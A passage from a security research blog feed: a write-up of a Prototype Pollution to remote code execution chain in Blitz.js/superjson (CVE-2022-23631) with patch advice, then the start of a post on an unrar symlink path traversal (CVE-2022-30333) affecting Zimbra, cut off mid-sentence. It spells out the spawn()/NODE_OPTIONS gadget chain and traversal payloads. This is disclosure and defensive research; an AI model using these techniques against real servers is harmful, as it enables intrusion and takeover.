code.&lt;/p&gt;&lt;h3&gt;What is Prototype Pollution?&lt;/h3&gt;&lt;p&gt;In JavaScript, classes are implemented using so-called &lt;em&gt;prototypes&lt;/em&gt;. Any object&amp;#x27;s prototype is accessible via the &lt;code&gt;__proto__&lt;/code&gt; property, e.g. the following is true: &lt;code&gt;&amp;quot;abc&amp;quot;.__proto__ === String.prototype&lt;/code&gt;. An object inherits all properties from its prototype, which is why &lt;code&gt;&amp;quot;abc&amp;quot;.substring(1)&lt;/code&gt; works: the string inherits the substring function from its prototype, &lt;code&gt;String.prototype&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Prototypes are regular objects, which means that they can be modified. Adding a property to a prototype will cause all existing objects of that type to also have this property:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const obj1 = {};
obj1.__proto__.x = 1;
console.log(obj1.x === 1); // true
const obj2 = {};
console.log(obj2.x === 1); // true&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When the JavaScript interpreter encounters the expression &lt;code&gt;obj.x&lt;/code&gt; it first looks for &lt;code&gt;x&lt;/code&gt; in &lt;code&gt;obj&lt;/code&gt; itself, then in &lt;code&gt;obj.__proto__&lt;/code&gt;, then in &lt;code&gt;obj.__proto__.__proto__&lt;/code&gt;, and so on. It uses the first one it finds and throws an error if it can&amp;#x27;t find &lt;code&gt;x&lt;/code&gt; in any of &lt;code&gt;obj&lt;/code&gt;&amp;#x27;s prototypes. As this demonstrates, prototypes can be chained, just like classes can have multiple levels of ancestors. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain#prototype_and_object.getprototypeof&quot;&gt;This MDN article&lt;/a&gt; explains JavaScript&amp;#x27;s inheritance in more detail if you are interested.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Prototype Pollution occurs when attackers can gain control over properties of a prototype. A vulnerable code pattern where this can happen is, for instance, &lt;code&gt;obj[a][b] = c&lt;/code&gt;: if the attacker controls the values of &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt;, they can set &amp;quot;&lt;code&gt;__proto__&lt;/code&gt;&amp;quot; for &lt;code&gt;a&lt;/code&gt;, the property name for &lt;code&gt;b&lt;/code&gt;, and the property value for &lt;code&gt;c&lt;/code&gt;. This will cause all objects to have a new property, which can significantly influence the target application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A common pattern in JavaScript code is to use plain objects to pass optional arguments to a function. In the following example, the function &lt;code&gt;doTask&lt;/code&gt; receives an object that can contain several optional arguments:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function doTask(name, options) {
    if (options.delay) {
        // handle delay
    }
    if (options.priority) {
        // handle priority
    }
    
    // do the task
}

doTask(&apos;dQw4w9WgXcQ&apos;, {
    delay: 100,
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Setting a new property on the &lt;em&gt;Object&lt;/em&gt; prototype would result in all these argument objects having that new property, changing the program&amp;#x27;s behavior. In the example above, it would be possible to set a new &lt;code&gt;priority&lt;/code&gt; property on the &lt;em&gt;Object&lt;/em&gt; prototype, causing all tasks to be processed with that priority.&lt;/p&gt;&lt;h3&gt;Prototype Pollution in superjson (CVE-2022-23631)&lt;/h3&gt;&lt;p&gt;One of the features of Blitz.js is its easy integration of RPC calls. It implements a so-called &lt;em&gt;Zero-API&lt;/em&gt; layer, meaning that a piece of business logic can simply be implemented as a function, and a client can call this function without needing to write API code. When the call is made on the client, Blitz.js will transparently make an RPC call to the server, wait for the response and then return it as the result of the function call.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For the deserialization of RPC call arguments, Blitz.js has implemented its own extended version of JSON called &lt;code&gt;superjson&lt;/code&gt;. It adds support for more data types, such as dates and regexes, and allows circular dependencies. The latter is implemented by reading a list of assignment operations from a special metadata property and then applying these operations to the data. Let&amp;#x27;s take the following JSON as an example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
  &quot;json&quot;: {
    &quot;brands&quot;: [
      { &quot;name&quot;: &quot;Sonar&quot; }
    ],
    &quot;products&quot;: [
      { &quot;name&quot;: &quot;SonarQube&quot;,  &quot;brand&quot;: null }
    ]
  },
  &quot;meta&quot;: {
    &quot;referentialEqualities&quot;: {
      &quot;brands.0&quot;: [&quot;products.0.brand&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;referentialEqualities&lt;/code&gt; mapping tells superjson to do the following assignment on the value of &lt;code&gt;json&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;products[0].brand = brands[0];&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These assignment operations work with any path within the data. Since the path of the assignment&amp;#x27;s destination can contain any property names, this introduces a Prototype Pollution vulnerability. An attacker could use the path &lt;code&gt;__proto__.x&lt;/code&gt; to set the &lt;code&gt;x&lt;/code&gt; property on &lt;code&gt;Object.prototype&lt;/code&gt; to any value from the data they also control.&lt;/p&gt;&lt;h3&gt;Prototype Pollution to RCE&lt;/h3&gt;&lt;p&gt;To exploit the Prototype Pollution, an attacker needs to find gadgets that lead to arbitrary code execution or other interesting behavior. We will now look at the three gadgets that make up the final exploit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Gadget 1: From zero to require()&lt;/strong&gt;&lt;br/&gt;Since Blitz.js is based on Next.js, it uses the same routing mechanism. At build time, a &lt;em&gt;pages manifest&lt;/em&gt; is created that contains a mapping between HTTP and filesystem paths.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a request arrives, the server will check if the mapping contains an entry that matches the request&amp;#x27;s path. If there is an entry, it will use its filesystem path and load the JavaScript file it references. That file contains the code that renders the page on that path. The following is an example &lt;code&gt;pages-manifest.json&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
  &quot;/api/rpc/signup&quot;: &quot;pages/api/rpc/signup.js&quot;,
  &quot;/forgot-password&quot;: &quot;pages/forgot-password.html&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The file is loaded using the &lt;code&gt;require()&lt;/code&gt; function of Node.js, and the file path is not checked to be within a certain directory. The manifest is loaded from a JSON file, meaning that the resulting object inherits from &lt;code&gt;Object.prototype&lt;/code&gt;. This makes the page routing functionality a Prototype Pollution gadget that allows executing any local JavaScript file by inserting a new mapping into the manifest.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Gadget 2: From require() to spawn()&lt;/strong&gt;&lt;br/&gt;To turn this into arbitrary code execution, an attacker either needs the ability to create files on the server or another gadget to chain with the first one. Since Blitz.js does not have any upload functionality by default, we need to look for existing files with interesting behavior.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The file has to be present in every Blitz.js instance, so looking at Blitz.js itself and its dependencies makes the most sense. One interesting file is the Blitz.js CLI wrapper script. It will spawn the actual CLI script in a new process and exit. However, the command is fixed, and the arguments are not controllable, so how can attackers use this?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Gadget 3: From spawn() to arbitrary code execution&lt;/strong&gt;&lt;br/&gt;Spawning a new process is a known Prototype Pollution gadget that was made popular by Michał Bentkowski when he used it to &lt;a href=&quot;https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/&quot;&gt;exploit Kibana&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Indeed, the &lt;code&gt;spawn()&lt;/code&gt; function receives optional arguments via an object: This can be used to set the environment variables for the child process with the env property. This can be used to set &lt;code&gt;NODE_OPTIONS&lt;/code&gt; to set more command-line arguments for the node process. Some arguments are not allowed, such as &lt;code&gt;--eval&lt;/code&gt;, but &lt;code&gt;--require&lt;/code&gt; can be used to include any file. This seems to be the same primitive as the very first gadget allows, but there is a difference. Since a new process is spawned, there are some new files on the file system. The file &lt;code&gt;/proc/self/environ&lt;/code&gt; contains the current process&amp;#x27;s environment variables which are already attacker-controlled through the &lt;code&gt;env&lt;/code&gt; option.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The regular way of abusing this is to insert a new environment variable &lt;em&gt;before&lt;/em&gt; the &lt;code&gt;NODE_OPTIONS&lt;/code&gt; one that contains JavaScript code and has a trailing comment to avoid syntax errors. However, Node.js seems to handle the &lt;code&gt;NODE_OPTIONS&lt;/code&gt; differently now, putting it always first in the &lt;code&gt;environ&lt;/code&gt; file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Improving gadget 3&lt;/strong&gt;&lt;br/&gt;To bypass this, attackers can use two more options of the &lt;code&gt;spawn()&lt;/code&gt; function: &lt;code&gt;argv0&lt;/code&gt; and &lt;code&gt;shell&lt;/code&gt;. The first one, &lt;code&gt;argv0&lt;/code&gt;, controls the first element in the list of arguments passed to the new process. Usually, this is equivalent to the binary that is executed. The whole list of arguments is reflected in the file &lt;code&gt;/proc/self/cmdline&lt;/code&gt; so the first element will be at the beginning. If the attacker changes the value of &lt;code&gt;NODE_OPTIONS&lt;/code&gt; to &lt;code&gt;--require /proc/self/cmdline&lt;/code&gt; and puts their payload in &lt;code&gt;argv0&lt;/code&gt;, this should work, right?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Almost, but there is one final hurdle. Because the first argument was changed, the process can not be spawned because it is not a valid command or file path. This can be bypassed with the &lt;code&gt;shell&lt;/code&gt; option of the &lt;code&gt;spawn()&lt;/code&gt; function. It can be set to the path of a binary that will then be used to spawn the command within a shell. On Linux, the shell is prepended to the command and its arguments like this: &lt;code&gt;/bin/myshell -c &amp;quot;command arg1 arg2 arg3&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To set &lt;code&gt;shell&lt;/code&gt; to the path of the node executable, the attacker can use &lt;code&gt;/proc/self/exe&lt;/code&gt; without knowing the actual path. The final result is that a node process will be spawned as follows:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;execve(&quot;/proc/self/exe&quot;, [&quot;console.log(&apos;pwned!&apos;);//&quot;, &quot;-c&quot;, &quot;node …&quot;], { NODE_OPTIONS: &quot;--require /proc/self/cmdline&quot; })&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Chaining them together&lt;/strong&gt;&lt;br/&gt;The final exploit works like this:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The attacker sends a request that abuses the Prototype Pollution issue in the RPC layer to add properties to the Object prototype.&lt;/li&gt;&lt;li&gt;This creates a new entry pointing to the Blitz.js CLI wrapper script in the pages manifest. It also sets &lt;code&gt;argv0&lt;/code&gt;, &lt;code&gt;env&lt;/code&gt;, and &lt;code&gt;shell&lt;/code&gt; for the &lt;code&gt;spawn()&lt;/code&gt; call in step 3.&lt;/li&gt;&lt;li&gt;The attacker triggers the chain by sending a request to the URL of the newly created pages manifest entry. This causes the CLI wrapper script to be executed, spawning a new process with the attacker-controlled &lt;code&gt;argv0&lt;/code&gt;, &lt;code&gt;env&lt;/code&gt;, and &lt;code&gt;shell&lt;/code&gt; options. This finally executes the attacker&amp;#x27;s payload in a new process.&lt;/li&gt;&lt;/ol&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d4f473ec-00fa-447a-8c3b-09ea28caed49/body-cbf57e86-df17-409f-aedd-64adae813684_Blitz.js%2BExploit.drawio%2B%25281%2529.png&quot; /&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;To fix the root cause of this issue, Blitz.js blocked some property names from being used in a path, namely &lt;code&gt;__proto__&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, and &lt;code&gt;prototype&lt;/code&gt;. Without these properties, it is not possible to reach and poison a prototype object. This can be generalized to a JavaScript security rule of thumb: when using untrusted inputs to access or modify the properties of an object, always make sure that these three property names are blocked.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another option is to use &lt;code&gt;Object.create(null)&lt;/code&gt; instead of a plain object literal (&lt;code&gt;{}&lt;/code&gt;) where possible. The returned object does not inherit from &lt;code&gt;Object.prototype&lt;/code&gt;, so it is also not possible to reach that prototype, regardless of any untrusted property names being used for access:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const obj = Object.create(null);
Object.prototype.x = 1;
console.log(obj.x === 1); // false
console.log(obj.__proto__); // undefined&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you want to harden your code base and make the exploitation of Prototype Pollution issues more difficult, there are some ways to do so, but they each come with their drawbacks. The first measure is to make &lt;code&gt;Object.prototype&lt;/code&gt; immutable by calling &lt;code&gt;Object.freeze(Object.prototype)&lt;/code&gt; as early as possible. The disadvantages are that you would have to repeat that for every class and that some older libraries would break because they modify prototypes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second measure only applies to Node.js, not JavaScript running in a browser. If you start the Node.js process with the &lt;code&gt;--disable-proto=delete flag&lt;/code&gt;, then the &lt;code&gt;__proto__&lt;/code&gt; property will not exist anymore, and the only way to set an object&amp;#x27;s prototype is via functions such as &lt;code&gt;Reflect.setPrototypeOf()&lt;/code&gt;. As with the previous measure, libraries could break because of this. Also, it is still possible to reach an object&amp;#x27;s prototype via &lt;code&gt;obj.constructor.prototype&lt;/code&gt;, so these property names should still be blocked when validating user-controlled property names.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-07&lt;/td&gt;&lt;td&gt;We report the issue to the Blitz.js maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-07&lt;/td&gt;&lt;td&gt;The maintainers confirm the issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-10&lt;/td&gt;&lt;td&gt;A patch is released with superjson 1.8.1 and Blitz.js 0.45.3&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this publication, we covered the technical details behind a Prototype Pollution vulnerability in Blitz.js; a full-stack React framework. Attackers can use the vulnerability to execute code on servers that run applications based on vulnerable versions of Blitz.js. We also presented ways to prevent such issues in your JavaScript code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are using Blitz.js or superjson in your application, we strongly recommend updating to the fixed versions mentioned above. Finally, we want to thank the maintainers of Blitz.js and superjson for their fast replies and patches.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/nodebb-remote-code-execution-with-one-shot/&quot;&gt;https://blog.sonarsource.com/nodebb-remote-code-execution-with-one-shot/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/&quot;&gt;https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/path-traversal-vulnerabilities-in-icinga-web/&quot;&gt;https://blog.sonarsource.com/path-traversal-vulnerabilities-in-icinga-web/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Unrar Path Traversal Vulnerability affects Zimbra Mail]]></title><description><![CDATA[We discovered a vulnerability in Zimbra Enterprise Email that allows an unauthenticated, remote attacker fully take over Zimbra instances via a flaw in unrar.]]></description><link>https://www.sonarsource.com/blog/zimbra-pre-auth-rce-via-unrar-0day</link><guid isPermaLink="false">e77cf77a-4b79-5fb5-9972-13c2e48790ee</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 28 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At Sonar, we are studying real-world vulnerabilities to improve our code analyzers, and to help the open-source community to secure their projects. To uncover and understand complex vulnerabilities in high-profile applications, our researchers need to take the perspective of real-world attackers. By sharing our findings from this perspective, we also aim to provide useful insights and learnings to the community. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Zimbra is an enterprise-ready email solution used by over 200,000 businesses, government and financial institutions. Zimbra instances recently became a target of a &lt;a href=&quot;https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/&quot;&gt;0-day attack campaign&lt;/a&gt;, likely conducted by a state actor who targeted European government and media instances. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The fact that a 0-day vulnerability was used to steal emails from individual user accounts shows how valuable a compromised email account is to an attacker and how disastrous the impact of such vulnerabilities is on an organization. Classified documents could be stolen, passwords reset, and members of an organization impersonated to compromise more accounts. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we present how our research team approached Zimbra by taking on the perspective of an APT group. As a result, we discovered a 0-day vulnerability in the &lt;code&gt;unrar&lt;/code&gt; utility, a 3rd party tool used in Zimbra. The vulnerability ultimately allows a remote attacker to execute arbitrary code on a vulnerable Zimbra instance without requiring any prior authentication or knowledge about it.&lt;/p&gt;&lt;h2&gt;Software and versions affected&lt;/h2&gt;&lt;p&gt;In this section we go into detail about which versions of &lt;code&gt;unrar&lt;/code&gt; are affected. Although this blog post focuses on Zimbra to demonstrate the impact of this bug, any software relying on an unpatched version of &lt;code&gt;unrar&lt;/code&gt; to extract untrusted archives is affected. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;What can an attacker do?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We identified a File Write vulnerability(CVE-2022-30333) in the &lt;code&gt;unrar&lt;/code&gt; binary developed by &lt;a href=&quot;https://www.rarlab.com/&quot;&gt;RarLab,&lt;/a&gt; the same company that develops WinRAR. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker is able to create files outside of the target extraction directory when an application or victim user extracts an untrusted archive. If they can write to a known location, they are likely to be able to leverage it in a way leading to the execution of arbitrary commands on the system. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the case of Zimbra, successful exploitation gives an attacker access to every single email sent and received on a compromised email server. They can silently backdoor login functionalities and steal the credentials of an organization&amp;#x27;s users. With this access, it is likely that they can escalate their access to even more sensitive, internal services of an organization. The only requirement for this attack is that &lt;code&gt;unrar&lt;/code&gt; is installed on the server, which is expected as it is required for RAR archive virus-scanning and spam-checking.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;strong&gt;Am I affected?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The official security patch by RarLab is contained in the UnRar source code version &lt;a href=&quot;https://www.rarlab.com/rar_add.htm&quot;&gt;6.1.7&lt;/a&gt; and is included with the binaries of version &lt;a href=&quot;https://www.rarlab.com/download.htm&quot;&gt;6.12&lt;/a&gt;. Any previous version may be vulnerable. Only the Unix binaries (excluding Android) are affected by this vulnerability. WinRAR is free of this bug.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerable and patched version can differ depending on the Linux distribution you use and from which repository the binaries were downloaded. If you want to make sure that you use a version that includes the security patch, we recommend &lt;a href=&quot;https://www.rarlab.com/download.htm&quot;&gt;downloading it directly&lt;/a&gt; from RarLab&amp;#x27;s website.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are multiple, popular implementations of &lt;code&gt;unrar&lt;/code&gt;. Only the implementations relying on RarLab&amp;#x27;s code are affected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;How is this related to Zimbra?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Zimbra is not at fault for this &lt;code&gt;unrar&lt;/code&gt; vulnerability, but its exploitation is only possible due to the broad permissions associated with the impacted service. For instance, an unauthenticated attacker can write a JSP shell into the web directory while this is an unrelated service. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A Zimbra instance is affected if &lt;code&gt;unrar&lt;/code&gt; is installed, which is expected as it is required for spam checking and virus scanning of RAR archives. Due to the way &lt;code&gt;unrar&lt;/code&gt; is invoked, it is also expected that RarLab&amp;#x27;s implementation is installed, which is the vulnerable one.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In the following sections, we go into detail about the attack surface we audited prior to the discovery of the &lt;code&gt;unrar&lt;/code&gt; bug, its root cause, and how an unauthenticated attacker could exploit it to gain code execution on the Zimbra instance.&lt;/p&gt;&lt;h3&gt;Background - Spam checking and the file format problem&lt;/h3&gt;&lt;p&gt;As Zimbra is an all-in-one solution, it comes with pre-configured software for sending and receiving emails. It also tries to detect spam and scan for viruses when an email is received.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following graphic shows some of the software involved when a Zimbra instance receives an email:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f3a0175e-c3a1-482a-b519-ec971d98be78/body-691997f4-77a9-471c-bf87-3b707d51504e_Zimbra_Blog%2BDiagram%25402x.png&quot; /&gt;&lt;p&gt;Incoming emails are processed by Postfix via SMTP (1). Postfix then passes the email to Amavisd (2). Amavis parses the incoming email, recursively extracts attachments such as ZIP and RAR files, and then sends all files to Spam Checker Spamassassin and anti-virus ClamAV (3). If the email is deemed clean, it is passed to Zimbra&amp;#x27;s code (4).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of these third-party services support the parsing and processing of many file formats. To do so, they rely on even more external software components. For example, when Amavis parses an incoming email and detects a RAR archive as an attachment, it uses the &lt;code&gt;unrar&lt;/code&gt; utility to extract it to a temporary directory.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the next section, we will break down a path traversal vulnerability that can be triggered when a malicious RAR archive is extracted by Amavisd.&lt;/p&gt;&lt;h3&gt;CVE-2022-30333 - File Write vulnerability in unrar&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Background - unrar extraction and security assumptions&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A typical invocation of &lt;code&gt;unrar&lt;/code&gt; on the command-line could look like the following:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;unrar x archive.rar /tmp/extract&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This command will extract all files in the archive &lt;code&gt;archive.rar&lt;/code&gt; into the directory &lt;code&gt;/tmp/extract&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An application or user invoking this command expects that files are only written to the &lt;code&gt;/tmp/extract&lt;/code&gt; directory. Software such as Amavis relies on this assumption to ensure that all files can be safely deleted after processing them. This safety net is implemented by &lt;code&gt;unrar&lt;/code&gt; and is enabled by default.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Symbolic link extraction logic&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the challenges &lt;code&gt;unrar&lt;/code&gt; faces is that maliciously crafted RAR archives can contain symbolic links. An attacker could extract a symbolic link that points outside of the extraction directory and then dereference it with a second file. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Preventing symbolic link attacks turns out to be complicated, as RAR archives can be both created and extracted on Windows and Unix, which have significant differences when it comes to filesystem path handling. Symbolic links can also be relative and absolute. Here are examples of malicious symbolic links for Unix and Windows file systems:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;OS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Relative Payload&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Absolute Payload&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Windows&lt;/td&gt;&lt;td&gt;..\..\..\tmp\shell&lt;/td&gt;&lt;td&gt;C:\tmp\shell&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Unix&lt;/td&gt;&lt;td&gt;../../../tmp/shell&lt;/td&gt;&lt;td&gt;/tmp/shell&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;In order to prevent symbolic link attacks on Unix systems, &lt;code&gt;unrar&lt;/code&gt; forbids any symbolic links with an absolute path by checking if the first character is a forward slash (&lt;code&gt;/&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Validating relative symbolic links is done by the &lt;code&gt;IsRelativeSymLinkSafe()&lt;/code&gt; function, a snippet of which is shown here:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;extinfo.cpp&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;127     bool Dot2=TargetName[0]==&apos;.&apos; &amp;&amp; TargetName[1]==&apos;.&apos; &amp;&amp;
128               (IsPathDiv(TargetName[2]) || TargetName[2]==0) &amp;&amp;
129               (Pos==0 || IsPathDiv(*(TargetName-1)));
130     if (Dot2)
131       // …&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As can be seen, this function checks if the symbolic link target contains two dots followed by a path divider (&lt;code&gt;../&lt;/code&gt; on Unix and &lt;code&gt;..\&lt;/code&gt; on Windows).  When an attempt at path traversal is detected, the symbolic link is deemed unsafe.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Bypassing the symbolic link validation&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We mentioned checking if the symbolic link contains path traversal sequences (&lt;code&gt;../&lt;/code&gt;) works. However, this check is negated by a common vulnerability pattern where untrusted data is modified after it has been validated.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once the symbolic link has been validated, it is normalized by &lt;code&gt;unrar&lt;/code&gt;. We mentioned previously that a RAR archive could have been created on a Windows or Unix system and that these operating systems handle file paths significantly. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To ensure that a RAR archive created on Windows can be extracted on a Unix system, backslashes (&lt;code&gt;\&lt;/code&gt;) are converted to forward slashes (&lt;code&gt;/&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following snippet shows how this happens when the RAR archive entry representing the symbolic link has the type of &lt;code&gt;FSREDIR_WINSYMLINK&lt;/code&gt;, which is the case if the archive was created on a Windows system:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;ulinks.cpp&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;93   if (hd-&gt;RedirType==FSREDIR_WINSYMLINK || hd-&gt;RedirType==FSREDIR_JUNCTION)
 94   {
 95     // …
101     DosSlashToUnix(Target,Target,ASIZE(Target));
102   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;DosSlashToUnix()&lt;/code&gt; function simply converts all backslashes to forward slashes. Attackers can exploit this behavior as this operation is breaking previous assumptions of the validation step. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s assume an attacker crafted a RAR archive that contains a symbolic link of type &lt;code&gt;FSREDIR_WINSYMLINK&lt;/code&gt; with the target &lt;code&gt;..\..\..\tmp/shell&lt;/code&gt;. As the archive is extracted on a Unix system, the symbolic link target is deemed safe as no &lt;code&gt;../&lt;/code&gt; sequence is detected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, due to the normalization of &lt;code&gt;DosSlashToUnix(&lt;/code&gt;), the final symbolic link target is &lt;code&gt;../../../tmp/shell&lt;/code&gt;. By exploiting this behavior, an attacker can write a file anywhere on the target filesystem.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As always 